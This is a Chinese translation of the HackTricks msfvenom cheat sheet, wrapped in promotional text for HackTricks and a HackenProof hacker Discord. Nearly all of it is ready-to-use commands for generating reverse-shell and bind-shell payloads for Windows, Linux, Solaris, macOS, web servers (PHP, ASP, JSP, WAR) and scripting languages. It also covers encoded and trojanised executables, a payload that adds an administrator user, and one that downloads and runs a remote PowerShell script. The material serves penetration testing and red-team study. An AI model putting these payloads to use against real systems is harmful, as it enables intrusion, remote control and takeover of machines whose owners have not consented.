hacktricks/generic-methodologies-and-resources/shells/msfvenom.md

7.2 KiB
Raw Blame History

MSFVenom - 速查表

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
了解最新的赏金计划发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders

创建 shellcode 时的常见参数

-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

Windows

反向 Shell

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

绑定Shell

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

{% endcode %}

创建用户

{% code overflow="wrap" %}

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

CMD Shell

{% code overflow="wrap" %}

msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

执行命令

{% code overflow="wrap" %}

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

编码器

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

嵌入到可执行文件中

{% code overflow="wrap" %}

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

Linux Payloads

反向Shell

{% endcode %}

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

绑定Shell

{% code overflow="wrap" %}

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

{% endcode %}

SunOS (Solaris)

{% code overflow="wrap" %}

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf

MAC Payloads

Reverse Shell:

{% code overflow="wrap" %}

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

绑定Shell

{% endcode %}

msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

{% endcode %}

基于Web的Payloads

PHP

反向shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP/x

反向 shell

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

JSP

反向 shell

{% code overflow="wrap" %}

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

WAR

反向Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

{% endcode %}

NodeJS

msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

脚本语言有效载荷

Perl

{% code overflow="wrap" %}

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

{% endcode %}

Python

{% code overflow="wrap" %}

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

{% endcode %}

Bash

{% code overflow="wrap" %}

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

{% endcode %}

加入HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与探讨黑客行为的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
了解最新的赏金任务发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作!

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式: